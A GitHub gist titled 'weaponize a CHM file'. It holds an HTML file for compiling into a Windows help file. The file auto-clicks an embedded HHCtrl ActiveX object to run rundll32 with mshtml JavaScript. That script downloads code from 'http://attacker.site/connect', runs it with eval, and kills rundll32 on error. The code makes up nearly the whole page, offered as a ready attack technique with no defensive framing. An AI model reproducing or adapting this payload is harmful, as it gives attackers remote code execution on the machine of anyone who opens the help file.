Skip to content

Instantly share code, notes, and snippets.

@JPMonglis

JPMonglis/wcf.txt

Created March 11, 2019 21:19
Show Gist options
  • Save JPMonglis/8a6a6cdaa482df6ade49eaf3061ee6a4 to your computer and use it in GitHub Desktop.
Save JPMonglis/8a6a6cdaa482df6ade49eaf3061ee6a4 to your computer and use it in GitHub Desktop.
Download ZIP
weaponize a CHM file
Raw
wcf.txt
<!DOCTYPE html><html><head><title>Click Me</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://attacker.site/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment